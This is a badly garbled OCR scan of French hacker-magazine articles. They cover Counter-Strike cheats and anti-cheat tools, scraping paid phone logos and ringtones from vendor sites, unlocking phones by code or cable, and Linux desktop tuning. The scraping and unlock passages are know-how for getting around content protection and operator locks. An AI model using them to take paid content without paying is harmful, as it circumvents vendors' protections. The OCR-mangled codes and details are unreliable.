Counter-Strike est éla-
boré par des VRAIS
joueurs de CS qui s'amu-
sent a créer des petits
programmes pour Ppou-
voir s'amuser tranquillou
sur des serveurs réser-
vés uniquement a ceux
qui désirent en voir de
toutes les couleurs apres
une journée de L33T
gaming effrénée. Il ne
faut donc pas s'attendre
a jouer pour gagner, mais
plutot admirer un bon
gros délire entre joueurs
qui passent a travers les
murs, qui volent, qui sont
invulnérables et tout le
bazar...

Mais tout va rapidement
tourner au vinaigre. En
effet, les programmeurs
de cheats essayent de
trouver une triche qui
serait indétectable, ce qui
serait d'un point de vue

strictement “ fun ", une

prouesse technique
impossible (et qui le res-
tera). Mais I'ennui, c'est
que les programmes utili-
sés pour faire ces cheats
vont étre “‘ leakés ",

Hé oui ! Dans un mod
comme Counter-Strike
uniquement basé sur le
jeu solo, quel serait ['in-
téréc d'inclure a la base
du programme  des
codes pour tricher !
Absolument aucun, sur-
tout que Counter-Strike
est des le départ consi-
déré comme un FPS “
intelligent ”, visant le réa-
lisme, ou il faut réfléchir,
étre tactique, etc. et sur-
tout ou l'esprit de com-
petition prend parfois
rapidement le pas sur le
fun. :

Donc, qui dit “ pas de
code triche d'origine "
dit forcément hacking. Et
la, c'est a la fois l'intérét
et le probleme. En effet,
les programmeurs de
cheats se lancent un véri-
table défi technique, car
ils doivent compiler de
petits programmes a lan-
cer avant d' exécuter le
jeu : mais puisque ces
codes ne sont pas prévus
dans le programme,il n'y
a, a la base, aucun moyen
du coté serveur d'empé-



cher ces cheats par une
simple ligne de configu-
ration ; c'est la porte
ouverte a la pourriture
des serveurs “ normaux
" si jamais les program-
mes de cheats sont lea-
kés. C'est-a-dire qu'un
petit malin qui aura eu
acces aux fichiers en
question (¢a peut étre
tout simplement le p'tit
frangin d'un hacker qui
programme des cheats...)

va balancer des fichiersa
la base strictement confi-
dentiels sur un site obs-
Ui sera rapidement
fermé au vu de son
2NuU, mais quelques-

uns auront quand méme
ps de s'en empa-

rer, puis @ leur tour les
redistribueront par mail,
FTP, IRC... et d'échapper
totalement au controle
de ceux qui codaient ces
cheats uniquement pour

le fun et pour le défi, et
le plaisir de hacker le jeu.
Et plus le Net va devenir
accessible, plus le grand
public va jouer a CS, et
donc plus il y a de
monde et plus le pour-
centage de lamers aug-
mente... et le pourrissage
intensif de serveurs n'est
pas loin.

F¥ck tha cheaters comin'
straight from de unda-

groun' (sauras-tu trouver
la chanson d'origine 2:) )

Le gros avantage pour les
lamers sans foi ni loi
d'Internet, c'est l'anony-
mat total. En effet, sur un
serveur  public  qui
tourne de maniére auto-
nome, sans qu'il y ait un
admin 24h24 qui sur-
veille les faits et gestes
de chacun des joueurs,
donc environ sur 99,9 %




des serveurs, n'importe

quel abruti peut, a grand

renfort de bidouillage
d'IP voire de plusieurs
machines, tricher consé-
cutivement et dégolter
tout le monde...

La panoplie du cheateur
est assez simple a obtenir
: un simple programme a
lancer avant de jouer, un
serveur de jeu (avec si
possible le plus de monde
que l'on puisse trouver,
histoire de bien passer
pour quelqu'un d'intelli-
gent), et un pseudonyme
représentatif de notre
santé mentale ("M@St3R
Of t3h WOrLd" semble
bien approprié).

Bref, une fois bien en
place sur son fauteuil, il
n'y a plus qu'a configurer
son cheat... ce qui doit
étre la partie la plus
complexe, vu le nombre
d'options disponibles !

» Wallhack : il s'agit du

cheat le plus courant et
le plus en vogue sur les
serveurs publics. Le wall-
hack permet tout sim-
plement de rendre les
murs transparents (d'ou
son nom... he oui !). Il est
alors possible de vérifier
a distance la position de
tous ses adversaires, de
prévoir leur arrivée, et
méme dé tirer dans les
murs pour les tuer a dis-
tance (c'est ‘tellement
plus simple si on peut
éviter de se faire mal).

Concrétement, le wall-
hack utilise certaines fail-
les du moteur graphique.
Le moteur calcule en
effet la position de tous
les joueurs, méme s'ils
sont cachés par un mur.
Le cheat ne fait simple-
ment qu'afficher les murs
avec une texture transpa-
rente, et - & miracle - les
adversaires sont visibles.
» Aimbot : si le wallhack

permet de voir la posi-
tion des ennemis, cela ne
sert a rien lorsqu'il s'agit
de viser et de tirer. C'est
alors que l'aimbot inter-
vient (AIM pour "visée",
BOT pour "robot"). I
permet de viser automa-
tiquement les autres
joueurs (en différenciant
bien sir les amis des
ennemis) et méme, sui-
vant les options, de tirer
tout seul. Assez pratique
quand on est au télé-
phone, ¢a reste une
manieére assez particu-
liere de prendre du plai-

sir en jouant. Le pro-

bleme de laimbot est
qu'il donne trés vite une
impression de Parkinson.
Si la visée est trés sensi-
ble, le viseur ne fait que
bouger sur les joueurs,
créant alors une sorte
de tremblement caracté-
ristique du cheat. Un
spectateur pourra facile-

& ment détec-
| ter la mala-
die. Tuer des
joueurs a 300
métres de la
en ne tirant
qu'une seule
balle, ¢a peut
arriver, mais
six fois de
suite, ¢a peut
paraitre éton-
nant, surtout
si le viseur
reste "accro-
ché" au cada-
vre...

» Speedhack :
dans le genre
discret, voila
ce quiil vous
faut. Le spee-
dhack permet
- tout simple-
ment - de
vous faire passer pour
"Flash" (Wohoaaa...
saviour o' the universe !
Euh nan Queen c'est pas
la). Ainsi, quelque 10
secondes aprés le début
du round, le cheateur se
trouve dans le camp
adverse, et s'amuse a2 mas-
sacrer tout ce qu'il trouve
a coups de couteau. Bref,
c'est trés propre, et telle-
ment fairplay ! Le spee-
dhack est tres générale-
ment synonyme de "ser-
veur vidé en moins de
trois minutes". Mieux vaut
donc en profiter a fond
lorsqu'il est utilisé.

En somme, le cheat ne sert
qu'a voir, viser et tirer a
votre place. A se demander
comment quelqu'un peut
prendre du plaisir a jouer
de cette maniere. Il y a
alors deux réponses possi-
bles : soit le joueur est clai-
rement mauvais, utilise le
cheat a la vue de tout le



monde, sans méme cher-
cher a s'en cacher, soit il sait
ce quil fait, prévoit ses
coups et les mouvements
de ses adversaires. Ce der-
nier est le plus vicieux, puis-
que le joueur expérimenté
aura le réflexe de ne pas
viser les ennemis a travers
les murs, et il se contentera
de ne tirer que lorsqu'ils
seront "humainement” visi-
bles, tout en se gardant une
marge de sécurité afin de
garder l'avantage sur l'ad-
versaire... le but est de faire
croire que l'on a un “ skillz
de yench "...

Y'all wanna react ?
Bring it on back !

Punkbuster, le trés per-
formant anti-cheat des
moteurs de Quake3,
sétant brouillé avec les
développeurs de half-life,

VALVe décide donc de
developper son  propre
AC : Valve Anti-Cheat

(VA;) ke preb?ema est

qui

il est trés: ‘:p@eu mi

es !oueuf's inno-
cents ( cause dun sim-

VALV développe actuelle-
mentunVAC?2...mais s'il est
efficace le premier jour, il
n'est pas certain que VAC2
soit | réellement I'arme
absolue contre le cheat.

D'autres projets anti-
cheat sont donc dévelop-
pés en parallele depuis
quelques années, comme
Cheating-Death, consi-
dére ¢0mme le meilleur

HLGuard, qui lui n'est que

anti-cheat. |l nécessite un

programme client, ce qui
,__351: ‘souvent. »contralgnant(,

e ueurs de tous
‘ au&nt plus

e performance
On pourrait aussi

citer

serverside. Il ne s'agit pas
réellement d'un anti-cheat,
dans la mesure ou il ne
pourra pas scanner le PC,
il fera simplement en sorte
d' "effacer” les positions
des joueurs que l'on n'est

pas sensé voir. En gros,

comme Cheating-Death.

La mode actuelle est le
screenshot. Certains pro-
grammes prennent en
effet plusieurs captures
d'écran du joueur au cours
d'une partie, et les uploa-
dent directement sur un

qu'il provaque ‘parfois
une assez lourde balsse ;

FTP Il faut lancer ca au

 niveau du client, mais c'est

actuellement le moyen le
plus sir pour confondre
un cheateur. Si c'est plutot
inutile sur un serveur

public; cela peut-étre inté-
| ressant pour les matchs.

M existe aussi ce que l'on

appelle une "HLTV" (pour
Half-Life TV) qui est un
outil permettant d'enregis-
trer tous les joueurs. A la
vision d'un enregistrement
HLTV, il est donc possible
de voir si un joueur
regarde un peu trop hon-
nétement un mur, si son
viseur reste un peu trop
collé a ses cibles, etc.
Surtout n'oubliez pas : si
vous trichez a n'importe
quel jeu online, vous étes
une merde :-)

Klastek 'l'imrulg




Petits logos
pour gros
business

Les derniers téléphones
s'arrachent a des prix
fous  (minimum 200
euros).Alors pourquoi ne
pas vendre leurs acces-
soires a des prix tout
aussi exorbitants ! Clest
sur ce concept simple
que les industriels ont
tout d'abord commencé
a vendre des coques pour
téléephones  portables
coltant pratiquement le
prix du téléphone (et
j'exagere a peine). Puis
est venu le temps des
logos et sonneries sur
Nokia. Bien qu’alors tres
limité, ce marché a littéra-
lement explosé avec I'ap-
parition des écrans cou-
leur et des sonneries
polyphoniques.

En tant que lecteur avisé,
le fait de payer pour
avoir des logos ou des
sonneries devrait vous
scandaliser !

Le concept

Venant de recevoir mon
tout dernier portable (¢a
faisait 7 ans que javais
mon 3210), je décide
donc, comme tout geek
qui se respecte, de le
customiser. Manque de
pot pour moi, en allant
chercher les tout der-
niers logos et sonneries
sur le Net, je me rends
compte qu'ils colitent
des fortunes ! Eh bien
non, je ne payerai pas
pour des images ! Le
combat est lancé !

<
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On voit déja depuis quelque temps que les sites
d'achat de logos et sonneries pullulent sur le Net tant
ce business est devenu lucratif. On ne peut plus lire
un magazine ou naviguer sur Internet sans voir appa-
raitre des pages entiéres consacrées a I'achat de ces
gif ou midi a des prix déroutants. On peut néanmoins
se demander, a juste titre, si I'achat de tels produits
numériques (simples images ou midi) est bien raison-
nable sachant que I'on peut trouver le méme contenu
librement sur des sites internet et, encore mieux, sur
les sites des vendeurs de logos...

Le matos

Comme vous l'avez sans
doute compris, il va fal-
loir, 2 un moment ou un
autre, transférer les don-
nées de l'ordinateur au
portable. Pour ce faire,
rien de plus simple.

Soit vous avez un port
infrarouge sur votre PC
(il y en a toujours sur les
ordinateurs portables),
soit vous avez le cable
qui permet de relier le
portable a votre PC, ce
qui se fait quasiment sur
tous les portables qui
sortent actuellement. Si
vous ne disposez de rien
de tout ¢a, il est tout a
fait possible d’acheter
sur le Net un adaptateur
USB Irda ou bien un
cible adapté a votre por-
table pour une somme
vraiment modique (pen-
sez a Ebay). Dés lors, il ne
vous restera plus qua
connecter votre téle-
phone en utilisant le logi-
ciel fourni avec ou dispo-
nible gratuitement en
téléchargement sur le
site du  fabricant.
J'oubliais, la derniere
solution qui a tendance

également a se dévelop-
per ces derniers temps
est le bluetooth si vous
disposez d’'un mobile
compatible. Le transfert
de fichiers est en général
trés simple ; un drag and
drop suffit. Nous n’allons
donc pas détailler cette
phase qui varie selon le
modele et la marque du
téléphone et préfererons
passer aux choses
sérieuses !

Les logos

Eh oui, pour avoir un
portable dans le coup, on
ne peut pas se passer
d'un logo ! Les logos peu-
vent aussi étre envoyes
par MMS et la, ¢a devient
plutdt fun. Finis les longs
discours et place a
I'image. Mais ou sont-ils ?
Je pense que tout le
monde le sait, hélas, ils
sont partout, polluent le
Net et méme les magazi-
nes... Je pense donc
qu'en quelques clics et
recherches sur notre
bien aimé Google, vous
trouverez immanquable-
ment un site proposant
des logos a foison (on

tombe dailleurs dessus
plus souvent lorsqu’on
ne les cherche pas).
Tout d'abord, il faut com-
prendre le mode de pro-
tection de ces images. Le
premier est relativement
simple. Il s’agit, plutot
que de mettre ['image
directement, de la placer
en arriére-plan et de pas-
ser une image “ preview
” comme celle-ci, devant.
Comme ¢a on ne peut
plus cliquer et téléchar-
ger I'image.

La seconde méthode de
protection consiste a
mettre tous les logos
sur des serveurs dis-
tants afin d’empécher
I'aspiration du site en
entier. Cette protection,
tout comme [autre,
n'est pas efficace mais
nous fait perdre pas mal
de temps pendant I'aspi-
ration du site.




I8 Caravane
1§ Métisse

. 118 Le Casse De Brice

G poty, & pono.
ih*. [ vy
5 Dont Phunk With My K. % ooly. & sono.
‘M.‘m |

Maintenant, place 3 la
technique, ou plutot les
techniques ! Les sites
n’étant pas tous les
mémes, il s'agira de tou-
jours ruser et innover.
Commengons pas un
exemple concret ; nous
allons récupérer les
logos du site.

Apres un bref coup dil,
je décide de prendre un
logo de pirate ! Mais
comment faire ? Eh bien,
voici la meéthode qui
marche a tous les coups !
Certes il faudra parfois
faire quelques modifica-
tions, mais le principe

op-up s'ouvre
logo défiguré

S ceci ne nous
de probléme
L+U affichera
e la source. Il
reste qu'a
I'image dans

<trs><td

align="center"
valign="middle"
background="http
://pics.homere. j
map.net/t 157120
x160/040209_skul
e it
style="border:1p
x solid

#000000; "><img
src="img/pre-
view.gif"

Widt =l a0
height="160"
style="filter:Al
pha (opa-

.'city;'40');”></t

G/ Er>

o st
class="table"
align="centers>
On se rend bien compte
ici que I'image n’était pas
récupérable par un clic
droit normal car elle
était en fond d'écran.

Cependant, avec Ila
source, on la retrouve
sans probleme. Nous
pouvons désormais
récupérer  n'importe
quel logo.

Une méthode encore
plus simple existe, celle
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- Téléchargez “"Pirate 'té. _

qualité  de

sonneries:

de vos amis..,

Télecharger,

Mentions Légales l @Maplazza | De plus, les

portables

Pour télécharger Pirate tete de mort (logos supportant
couleurs) sur votre mobile ou pour I'envoyer dun | le mff sup-

portent éga-
lement le
midi. Nous

ne nous
occuperons
donc ' que
des midi

mais sachez
que la tech-
nique  est

applicable
pour les
mmf.

Pour reécu-
pérer des
sonneries
sur des sites

0 MediaPlozza

de [I'aspiration. Oui,
cette méthode est sim-
ple... mais extréme-
ment bourrin (méme

pas peur) ! Nous [FSsist

Les sonneries mmf et .mid (midi)
Les sonneries sur por- | sont les plus répandus
tables existent sous | et sont aussi ceux qui
plusieurs formats. Les | offrent la meilleure

allons donc instal-
ler n'importe quel
aspirateur de site

i
L ] 9‘1").‘

et le lancer sur
'URL cible. Une
fois lancé, il faudra
tester différentes
options . pour voir |
si les images sont |
sur le serveur ou
pas. Je vous
conseille de ne
téléecharger que
ce qui se trouve
sur les sites du
méme domaine. Je
vous laisse experi-
menter cette
méthode dont

voici le résultat
aprés  quelques
minutes...

: @;c‘:{t';u I

Internet,
c’est beau-
coup plus complexe.
Généralement, elles
sont mises dans des
flashs protégés dont on
ne peut extraire le




fichier audio directe-
ment. Mais ce qu’il faut

savoir c'est que les
.mid et .mmf ne sont
que des formats audio
compressés pour por-
tables. Nous n’avons
donc qu'a compresser
nos mp3 ou wav favoris
pour en faire nos son-
neries. :

Pour convertir des wav
en midi, il vous suffit
d'utiliser AmazingMidi.
Vous sélectionnez
votre wav en inputfile
et le nom de votre
fichier de sortie en
midi comme ceci :

I ne vous reste plus
qu’a enregistrer...

5379_300x300_text.gf  014330_DSC00162.0F

030903 _coeurs.gif

o N

031013_chatoon.gif

031031_Mariage.gif

030915 _coeur.gif
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040107 _Japinous.gf
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.« 040124_heartbroken.gf 040124 _Hearts_1.gf  040124_Hearts_2.gf

= pour
uffit de téle-

charger par exemple
Intelliscore ou tout
autre logiciel de

conversion et d’effec-
tuer la méme méthode
que précédemment.
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intro

Lorsque vous achetez
un téléphone portable
avec ou sans abonne-
ment, il est dans 95 %
des cas bloqué par
I'opérateur, ceci dans le
but de vous empécher
de ' l'utiliser avec un
opérateur concurrent.
Mais pourquoi ? Les
opérateurs ont sans
doute tout simplement
peu d'intéréts a vous
laisser utiliser leurs
téléphones portables
chez la concurrence...

Le déblocage d'un télé-
phone a donc pour
effet d'enlever la res-
triction sur un opéra-
teur et d'accepter tou-
tes les cartes SIM du
monde.

Cependant, vous pouvez
a tout moment déblo-
quer votre téléphone
portable, et ce tout a fait
légalement ! Pour ce
faire, il existe deux
maniéres : soit par code,
soit par cable avec un
logiciel de déblocage
spécifique. Ces logiciels
ou codes sont fournis
par les revendeurs de
téléphones qui les ven-
dent aux magasins de
déblocage a des sommes
astronomiques...

Nous allons voir, tout au
long de ce dossier, les
deux différentes manié-
res de débloquer votre
téléphone portable.

On ne peut plus faire cent metres sans voir un
magasin de pcitables. Il y en a partout ! Certes,
nous sommes de plus en plus accros a cet outil
mais que lisons-nous sur les vitrines ? "Déblocage.”
En effet, ce business commence a étre des plus
lucratifs. Eh bien ! Nous allons voir, dans la prati-
que, comment ¢a se passe et vous pourrez méme le
faire vous méme...

Nokia

v| [Modek Nokia (3310 )

DCT3 +[3310 (NHM-5) ~ |

IMEI: 350890200636763
Network: 20810000

IMEI:[350830200636769 [§'<

France

S £,

-

SFR

I) Déblocage

par code

Cette démarche est sim-
ple et ne nécessite
aucune connaissance ! En
outre, elle n’annule pas
votre garantie, contraire-
ment a la méthode par
cible, ce qui reste un
avantage non negligeable.

C'est donc vraiment
cette méthode qui est
recommandée...

Le déblocage par code,
comme son nom [indi-
que, nécessite un code
(on ne s'en serait pas
douté) d'une longueur
variant de 4 a |5 caracte-
res. Selon les modéles, ce
code n'est connu que par
'opérateur qui bloque le
téléphone.

Cela dit, pour cer-
tains modeles comme
les Nokia, LG, Nec...

s
v

(la liste exhaustive est
consultable sur :

il est possible de calculer
le code de déblocage
grace a des logiciels (cal-
culateurs) disponibles
sur le Net en renseignant

Pimei (International
Mobile Equipment
Identity, qui est un

numeéro composé géné-
ralement de |5chiffres
qui identifie de fagon uni-
que votre téléphone), le
modele et I'opérateur
qui bloque votre mobile.
Vous pouvez |'obtenir en
saisissant le code *#06#
sur le clavier de votre
GSM. Il est également
inscrit sur |'étiquette se
trouvant sous la batterie.
Pour mieux comprendre
le fonctionnement, voici

un exemple concret :

Dans ce cas, je veux
débloquer un Nokia
3310 (un best-seller).
Donc je récupere l'imei
de mon 3310 soit en
regardant derriere la bat-
terie, soit en tapant
*#H06# sur le clavier. Je
saisis I'opérateur qui blo-
que mon 3310, dans
notre exemple, c’est SFR,
puis je valide. J'obtiens le
code suivant : #pw+01
5259 61 9dul4

Selon la marque des télé-
phones, il existe une
méthode bien spécifique
pour rentrer ce code
(voir sur cette page le
guide de déblocage

/A gel fqu

cagehtml). Dans
notre exemple, c’est a
dire pour les Nokia,

laegebiocade




il suffit de procéder ainsi :

1) allumer le téléphone
sans la carte SIM,

2) saisir les codes sui-
vants (pour obtenir le
pwetle + il faut
appuyer plusieurs fois
sur la touche *) :
#pw+0l 52 59 6l
9 1#

3) un message de type «
restriction off » va
s'afficher indiquant
que votre Nokia est
débloque.

Sur quelques téléphones,
comme certains Samsung,
on peut débloquer I'ap-
pareil non pas par code
calculé grace a un logiciel
mais plutot en recourant
a des codes universels.
C'est a dire que les codes
sont identiques pour les
mémes modeles. A titre
d'exemple, je vais vous
indiquer quelques codes
permettant de débloquer
ces Samsung.

e Pour débloquer les
Samsung E700,E710,
X100, X600, S500

1) Allumez votre télé-

phone sans carte SIM

2) Tapez sur le clavier du

téléphone :

*2767*688#

3) Voila votre téléphone

déverrouillé.

Pour débloquer les
Samsung V200, SI100,
$300

1) Allumez votre télé-
phone sans carte SIM

2) Tapez les codes sui-
vants sur votre clavier :
*2767*633424#
*2767*38554
*2767*2878%
xaTeiaea it

* o bR EIRI 2T 2738
3) Votre téléphone est
déverrouillé.

Pour débloquer les
Samsung A800 et A300
1) Allumez votre téleé-
phone sans carte SIM
2) Tapez sur le clavier le
code *2767*637#

3) Votre téléphone est |.

déverrouillé.
Ce code ne déverrouill
pas toutes les versiom o

Sachez que ces astuces
sont tlrees du site

EBLC o, rubrique
Astuces et cod@s, acces

reux, seuls 10

e marché peu-
‘débloqués de
jere.

slutions permet-
les codes de
de ces téle-
La premiere
Ies demander
il vous
era en moyenne
0 et 180 euros si

lephones exis- -

cela fait moins de 6 mois
que vous possédez ['ap-
pareil, par contre au dela
de 6 mois, 'opérateur est
obligé de vous le commu-
niquer gratuitement.

Lautre solution est de
passer par un site qui
peut vous l'avoir pour un
prix plus que raisonna-
ble. Par exemple le site
www.deblok83.com

s’engage a vous fournir le

code de déblocage de
votre mobile pour la

5

maximum de 48 h.

Pour ceux qui aiment
mettre leurs mains dans
le cambouis et qui maitri-
sent assez bien I'informa-

thue (ga ne. devralt pas__

i) Déblocage
par cable

Le déblocage par cable
nécessite de prendre quel-
ques preécautions. Dans un
premier cas, les manipula-
tions par cable annulent la
garantie de votre téle-
phone (¢a peut étre embé-
tant). De plus, en cas de
fausse manipulation, le
téléphone peut se voir
endommagé, voire com-
pletement inutilisable...
C'est donc a vos risques
et perils.

somme de |3 euros (I lf:

re) et ceci dans un délai’

Tout d'abord, le choix du
cable est tres important ! I
faut utiliser un cable unlock
correspondant a votre
portable, que vous pourrez
acheter soit sur Internet
(Www.gsm3000.00m  pand
exemple) soit chez les
magasins spécialisés ou
bien sun Ebay qui four-
mille de matériel en tout

fgenre 4 des prix défant

toute concurrence... Une
fois le bon cable en main,
il vous faut le logiciel de

3

déblocage adequat pour

 votre téléphone. |l existe

es centaines de logiciels
ébloquent les télé-
phcnes chacun d'eux
débloquant un certain
modele (télécharg‘eabies
sur Ssiwdeblolds cor
logicieisiian.

Les meﬂ'todes different plus

_ou moins selon les logiciels

utilisés, mais le principe est
toujours le méme.

A“;-_titre d’exemple, nous
‘allons  débloquer un
Siemens SL55 :




Voici le cable nécessaire
au déblocage :

Le logiciel qui sera utilisé
dans notre exemple pour
débloquer les Siemens SL55
est Siemens Freia vI0.0
(téléchargeable depuis

bty FA

AACH le

0 s Ay
AR T I

3)Une fois votre

modeéle sélectionné,
cliquez sur le bouton
« Unlocking fonctions ».

4) Apreés avoir cliqué sur
ce bouton, sélection-
nez « Direct unlock
also saves map ».

1 Phone sddresses (s s0dess - end atthess)

Démarche a suivre
1) Connectez votre
téléphone éteint, sans
carte SIM, au cable,
puis lancez le logiciel.

2) Sélectionnez le
modele de votre por-
table, dans notre

exemple le SL55.

=

5) Puis cliquez sur le bou-
ton « Use original IMEI ».

6) Le logiciel vous
demande alors d'allu-
mer le téléphone.

7) Cliquez briévement
sur le bouton « ON »
de votre téléphone.

| 2nd EEPROM : None

Phane modet [Siemens 5L55 =i

| Fisweate : 0x400000-0:FFFFFF
| 1st EEPROM : OxFE DOD0-ONFFFFFF

W:WFFF‘ |

.

RGNS

8) Votre téléphone est
maintenant débloque.

Voila en ce qui concerne
la  manipulation pour
débloquer un Siemens
SL55 avec un cable et le
logiciel de déblocage
Siemens FREIA v10.0.

Ce n'est pas trés compli-
qué en général mais
nécessite du matériel. De
plus, les logiciels de

déblocage sont de moins
en moins souvent gra-
tuits, mais les téléphones
sont de plus en plus
compliqués a débloquer.
Par conséquent, les déve-
loppeurs de logiciels
mettent du temps a
trouver les solutions de
déblocage et font donc
payer la licence du logi-
ciel.

Choisir la meilleure
méthode

De maniére générale,
comme nous avons pu le
voir a travers ce dossier, le
déblocage peut se faire :

- par code, rapide, fiable,
a distance et sans danger
pour votre téléphone
mais payant (I3 euros) si
I'appareil n'apparait pas
dans la liste consultable

sur :

- ou par cable, mais cela
nécessite du matériel
software (logiciels qui
sont payants pour cer-
tains types de télépho-
nes) et du matériel hard-
ware (cables et connecti-
ques).

Pour plus d'informations
concernant le déblocage
ou la téléphonie en géne-
ral, n’hésitez pas a venir
poser vos questions sur
le forum de deblok83 :
httpy/ A .deblok83.comy
forum/ ou en m’envoyant
un mail a:

Folmd D
webmaster@debloikéa

Il existe d'autres sites ou
vous pourrez trouver
des logiciels et codes
gratuitement. Je vous
invite également a aller
faire un tour sur le site
Py ClLa.com.

2/ AWWWSITIAC
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On oublie souvent que le hacking ne se limite pas
a la sécurité informatique. A la base, un “ hackeur
? est un “ bidouilleur ” ou plutét, un “ fouineur ”
d'aprés la délégation générale a la langue fran-
caise et aux langues de France (attention, ¢ca
déconne pas...). Allez les petlts fouineurs, on va
faire du tuning de bureau !

knoppix

Si I'installation et I'utilisa-
tion d'une distribution
linux vous font peur,
Knoppix est fait pour vous !
Sous le nom Knoppix se
cache une distribution
linux en Live(D, c'est & dire
que vous n'avez pas a l'ins-
taller. Il vous suffit de met-
tre le (D gravé de Knoppix
dans votre lecteur de (d-
rom et de démarrer votre
PC normalement. Vous

découvrirez ainsi linux
sans aucun souci !
http://knoppix-fr.org/
pour plus d'information et
pour le téléchargement.

u veux te la péter
devant tes amis avec
des graphismes qui
tuent ? Tu es jaloux de
Jacky, ton voisin qui fait le
frimeur avec sa caisse *
embellie ” a grands
coups de pots de trois
metres de large et de
peinture a bois Casto ?
Tu veux épater tes copi-
nes geeks qui squattent
ton PC ? Tu veux leur
montrer que t'es un boss
en info ? Un vrai ? Un
dur ? Un tatoué ?

Cet article est fait pour
toi. Suis tout ce que je
vais dire et ton PC va

devenir un vrai piége a

gonzesses, tu vas devenir/

beau et peut étre méme
avoir une copine ! Bah
quoi ! C'est ce/ que
disent ceux qui font du
tuning sur les voitures !
(..m'enfin Jacky ‘est a ce

jour célibataire... le mys- |

tére reste engm )
Quoi ? Cles
Bon, au moins )
Ga aura été un essai
On sait que Linux est plus

Windows, c'est tres laid !
C'est bien, c'est beau, c'est
pas moche (et c'est mal-
habile comme formule) !
Concretement pourquoi
“ tuner " ainsi son PC ? |l
faut savow que I'homme
' ui excite ses
'est une lon-
gue tradfﬁon de geek, et
dés  l'apparition de
I'amigaO8, c'était & celui

mis des icdnes 32 pixels !

| Et t'as un fond d'écran

256 couleurs !
Démentiel ! ... hm...
comment dire.

Force est de constater, au
vu des différents screéns

(ou captures d'écrans, ca
fait: 'pluS"seﬂeux ) que

regarde |0 heures par
jour plus beau, personna-
lise et efficace. Vous
vivriez dans une maison
dont les murs ne sont pas
tapissés et sans peinture
au plafond ni plancher au
sol ? Je crois que vous
feriez vite une sévére
dépression... voila ce que
j'ai a dire a tous ceux qui
pensent le tuning graphi-
que comme une activité
de gamins attardes ;)

Entrons donc dans le vif
du sujet. Il y a deux

maniéres de modifier |'ap-
parence de son environ-
ment graphique (bah oui,
il n'y a pas que le bureau...
un pointeur, un bouton,
des fenétres et des ico-
nes... tout compte ! ) : Le
statique et le dynamique.
Il y a le graphisme qui ne
bouge pas (couleurs,
décoration des fenétres...)
et le graphisme qui reflete
des événements dynami-
ques (tranferts réseaux,
lecteur mp3, météo,
effets...)

Nous allons donc nous
attarder surtout sur la
deuxiéme partie ainsi que
sur des programmes qui
ne rentrent ni dans l'une,
ni dans l'autre catégorie,
la premiére concernant
des choses qui peuvent
étre lues dans l'aide de
GNOME,  KDE et
consorts et en téléchar-
geant des themes... vous
ne payez pas pour avoir
acceés a un fichier d'aide,
non ! ;o) Allez, commen-
gons notre périple !




Au commencement
était le boot

Dés le démarrage de
votre ordinateur adoré,
vous vous devez d'avoir
une image qui a de la
gueule au lieu de toutes
ces lettres que les autres
trouvent cabalistiques...
tout en pouvant, bien siir,
les regarder en cas de
besoin. C'est justement
ce que s'est dit un type
bien cool qui a pro-
gramme Bootsplash

Griace a cet excellent |

soft, vous pourrez méme

skinner votre boots-
creen, et en 24 bits sur

1600x1200 s'il

vous
plait... c'est fort apprécia-
ble et ca change du 256
couleurs et 640x480 en
VGA d'un certain OS...
(mais non, pas AmigaO54
voyons... alala !).

Ma souris

met le feu

Ensuite, plutét qu'un béte
pointeur, vous Ppouvez
aussi opter pour le poin-
teur accéléré OpenGL.
Avec c¢a, a vous de
bidouiller un peu pour

passer de la trace laser
facon visée de fusil de shi-
per., a l'explosion
nucléaire - au moindre

‘mouvement de souris.Un

mode. qui peut s'avérer
fatiguant 2 la longue, mais
qui a vraiment un effet
saisissant ! Au pire, gar-
dez-le pour votre utilisa-
teur dédié au tuning ;O)

Le dossier “ Mauvais articles
» ? Troisiéme a gauche, puis
longez la rue, sixiéme étage
Les geeks bouillonent
d'idées plus ou moins
farfelues mais  toujours
riches d'applications
dont 'aspect étonnant et
original n'a d'égal que
leurs prouesses techni-
ques... et parfois leur
total manque d'intérét
concret. Mais ne bou-
dons pas notre plaisir, et
avouez qu'avec FSV,

pour File System
Visualiser, il y a de quoi
étre impressionné par ce
qui n'est ni plus ni moins
qu'une représentation
tout en 3D OpenGL de
votre  systeme  de
fichiers... Le pire, c'est
‘que toutes les fonctions
d'un explorateur de
fichiers sont comprises !
Il y a méme une fonction
*“ vol d'oiseau pour
pouvoir contempler d'en
haut son ouvrage de
bourrage de disque dur...

Du LSD pour vos fenétres
(pitié, pas les stups, j'ai rien
consommé !!)

Dans le méme genre de
projets de fous bases sur
OpenGL, . des p'tits
malins ont carrément eu
l'idée de passer tout le

bureau “ normal ” au gra-
phisme accéléré en 3D !
C'est a dire que chaque
éléement du bureau visi-
ble 3 I'écran est consi-
déré comme un maillage
de polygones, et l'on
peut donc lui appliquer
toutes les opérations 3D
imaginables, exactement
comme un jeu vidéo.
Concrétement, ¢a donne
des’ transparences exé-
cutées a la vitesse de la
lumiere, des apparitions
de fenétres qui se dérou-
lent tels des rubans ou
qui explosent depuis le
fond - de [I'écran, une
vitesse d'affichage hallu-
cinante, des particules,
des ombres... STOP !
N'en jetez plus ! Mais fai-
tes tout de méme atten-
tion, transformer son
espace de travail en
LightShow pour rave-
party n'a jamais contri-
bué a la santé mentale...
et oculaire. Gaffe dong, si
vous ne voulez pas finir
avec des culs de bouteil-
les en guise de binocles...
on vous aura prévenu !
C'est LA que ca se passe
Attention, c'est compli-
qué a régler, mais bien
bricolé, c'est trucs de
fous garantis 4
N'oubliez pas non plus
que comme le dit
I'adage, il faut souffrir
pour étre beau... et si
c'est votre PC qui est
beau, alors c'est le pro-
cesseur et la carte gra-
phique qui souffrent.

Alors, n'abusez pas trop
quand méme, avoir un
superbe bureau flashy et
mettre trois jours pour
lire ses mails, c'est vrai-
ment pas trés malin...




GKrellMarque de pein-
ture tu veux ? (Inimitable,
je vous le dis !)

Viennent enfin, apres
moult gadgets, les appli-
cations qui joignent
l'utile a l'agréable.
Débutons par la plus
célebre et la plus
ancienne des applications
de skinnage dynamique
sous Linux, copiée par-
tout mais jamais égalée :
GKrellM. Un nom a la
con pour une application
qui ne l'est pas, loin s'en
faut... eh oui, il faut le
savoir mais selon ['au-
teur, ce nom provient du
film Planéte Interdite, ou
les Krells regardent ce
qui se passe sur d'im-
menses dalles d'écrans...
ouais bon, arrétez de
vous foutre de ma
gueule, c'est un nom con
et tout le monde s'en
tape (oula, j'arrive a
court de pirouettes...).

Le principe de ce logiciel
qui est sans conteste le

plus complet qui fut

jamais programmeé (mais’

